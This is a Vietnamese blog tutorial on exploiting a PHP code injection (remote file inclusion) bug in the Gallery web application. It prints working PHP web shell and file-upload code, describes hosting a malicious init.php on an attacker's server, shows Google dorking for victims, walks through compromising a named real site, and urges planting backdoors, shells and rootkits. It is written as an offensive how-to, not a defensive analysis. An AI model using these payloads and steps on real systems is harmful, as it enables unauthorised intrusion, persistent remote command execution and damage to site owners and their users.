Thứ Ba, 8 tháng 10, 2013

on Leave a Comment

PHP Code Injecttion

 


PHP Code Injection :
Không có cách học nào hay bằng thực hành trên ví dụ cụ thể, tớ sẽ hướng dẫn bạn cách khai thác php code inject trên một lỗi mới được phát hiện: Gallery code injection
1.Mô tả lỗi:
Gallery là một công cụ cho phép tạo một gallery ảnh trên web, được viết bằng PHP, bạn có thể tìm hiểu và download source tại trang chủ: http://gallery.menalto.com/ và xem báo cáo lỗi tại đây:
http://online.securityfocus.com/archive/1/285608/2002-07-26/2002-08-01/0.
Như đã được hướng dẫn, lỗi này có thể khai thác bằng cách tạo trước một file init.php tại địa chỉ http://your.evil.server.tdl/ rồi sau đó gọi đến url:
http://hostname/gallery/captionator.php?GALLERY_BASEDIR=http://your.evil.server.tdl/
Trong file init.php bạn có thể đặt code php để thực hiện mục đích của mình. Và mục đích của chúng ta là upload lên thư mục web của victim một file php có khả năng upload.
2. Chuẩn bị:
Bạn đăng ký một account host nào đó, hoặc sử dụng account có sẵn của bạn. Nên chọn host nào không hỗ trợ php vì như vậy khi gọi đến file php server sẽ trả lại toàn bộ code của file, còn nếu server hỗ trợ php thì bạn phải sử dụng echo thêm phần phức tạp.
Tớ thì thích dùng brinkster vì ở đây đăng ký nhanh gọn, upload bằng browser như vậy có thể hoàn toàn hack chỉ bằng browser mà thôi.
Bạn tạo 2 file như sau:

Code Sample

<?php
// shellphp.php * file này dùng để chạy shell trên victim host
global $PHP_SELF;
echo "<html><body>
<form method=post action=$PHP_SELF?$QUERY_STRING>
<input type=text name=shell size=40>
<input type=hidden name=act value=shell>
<input type=submit value=Go name=sm>
</form>";
set_magic_quotes_runtime(1);
if ($act == "shell") {
echo "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<xmp>";
system($shell);
echo "</xmp>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";}
echo "</body></html>";
?>

Code Sample

<?php
// upload.php * file này dùng để upload
function handleupload() {
if (is_uploaded_file($_FILES['userfile']['tmp_name'])) {
$filename = $_FILES['userfile']['tmp_name'];
print "$filename was uploaded successfuly";
$realname = $_FILES['userfile']['name'];
print "realname is $realname\n";
print "copying file to uploads dir ".$realname;
copy($_FILES['userfile']['tmp_name'],*PATH*.$realname); // lưu ý *PATH* chúng ta sẽ thay đổi sau
} else {
echo "Possible file upload attack: filename".$_FILES['userfile']['name'].".";
}
}
if ($act == "upload") {
handleupload();
}
echo "<html><body>
<form ENCTYPE=multipart/form-data method=post action=$PHP_SELF?$QUERY_STRING>
File:<INPUT TYPE=FILE NAME=userfile SIZE=35>
<input type=hidden name=MAX_FILE_SIZE value=1000000>
<input type=hidden name=act value=upload>
<input type=submit value=Upload name=sm>
</form>
</body></html>";
?>

Bạn tạo thêm 1 file init.php với nội dung giống hệt file shellphp.php và upload lên site của bạn, ví dụ http://wwwxx.brinkster.com/you/
3. Xác định mục tiêu:
Bạn vào Google, gõ "Powered by gallery" rồi enter, Google sẽ liệt kê một đống những site sử dụng Gallery, tớ chọn một site http://zarabadoo.insane-asylum.com/gallery./ làm ví dụ. Thử xem nó đã sửa lỗi chưa bằng url: http://zarabadoo.insane-asylum.com/gallery./captionator.php?GALLERY_BASEDIR=http://wwwxx.brinkster.com/you/
Nếu thấy hiện lên như sau là bạn đã thành công bước đầu rồi đó:
image002
Chẳng cần quan tâm đến những thông báo lỗi phía dưới, bây giờ bạn đã có thể gõ lệnh vào text box và thực hiện nó trên host của victim.
4. Trinh sát:
Các file và thư mục trên host luôn được bảo vệ bằng cách kiểm tra quyền hạn của người sử dụng (bạn tham khảo các bài về unix, linux để biết thêm chi tiết). Mà mục đích của chúng ta là upload lên 1 file nên bây giờ phải tìm xem trên đó có chỗ nào cho phép ta ghi file, đồng thời file đó có thể được gọi đến qua http, tức là nằm trong một thư mục active web .
Đầu tiên bạn hãy xác định đường dẫn tuyệt đối đến thư mục hiện thời bằng lệnh pwd:
image004
Tiếp tục kiểm tra trên thư mục hiện thời: dùng lệnh ls –al ta sẽ có kết quả như sau:
image006
Để ý thấy thư mục classes cho phép ghi file, như vậy chúng ta hoàn toàn có thể upload một file lên thư mục /home/insane-/public_html/zarabadoo/gallery/classes/ của server rồi đấy.
5. Gửi tiền trạm:
Tiền trạm của chúng ta sẽ là file upload.php, sau khi có được file này thì chúng ta có thể upload được những công cụ mạnh hơn để khai thác thông tin.
Bây giờ bạn hãy vào account host của bạn, sửa nội dung file init.php giống như code của file upload.php, nhưng sửa lại *PATH* thành “/home/insane-/public_html/zarabadoo/gallery/classes/ ”. Đồng thời cũng chuẩn bị một file upload.php trên máy của bạn với *PATH* là "".
Rồi, chúng ta lại goi đến http://zarabadoo.insane-asylum.com/gallery./captionator.php?GALLERY_BASEDIR=http://wwwxx.brinkster.com/you/ một lần nữa, bạn sẽ thấy file upload hiện lên, chọn file upload.php trên máy của mình rồi upload, bạn sẽ có kết quả sau:
image008
Như vậy là bạn đã thành công trong việc gửi đội tiền trạm đến căn cứ của đối phương rồi đấy, bạn có thể gọi đến nó qua url http://zarabadoo.insane-asylum.com/gallery./classes/upload.php.
Từ bây giờ bạn hãy vận dụng hết mọi mánh khoé để tấn công đối thủ đi, upload backdoor, shell, rootkit, .. Bạn có thể Download con BackDoor Shell được viết bằng PHP tại đây : Shell.php (chú ý : khi chạy shell.php thì nó bắt nhập username và password, bạn gõ username là root còn password thì bỏ trống và Enter) 
image010
và thế là ..
image012
6. Kết luận:
Thực ra ví dụ mà tớ đưa ra rất đơn giản, và may mắn gặp được host server có bảo mật thấp. Bạn có thể gặp nhiều tên rắn mặt hơn nhiều, hãy phát huy sáng tạo đến mức tối đa.
Hơn nữa đây chỉ là ví dụ về hack Gallery, nhưng đó là phương pháp chung để khai thác lỗi php code injection. Lỗi này khá phổ biến, và sẽ còn tiếp tục được phát hiện thêm, hãy sử dụng phương pháp này một cách uyển chuyển, chắc chắn bạn sẽ thành công.
Bài viết của vnofear


PHP Code Injecttion

0 nhận xét:

Đăng nhận xét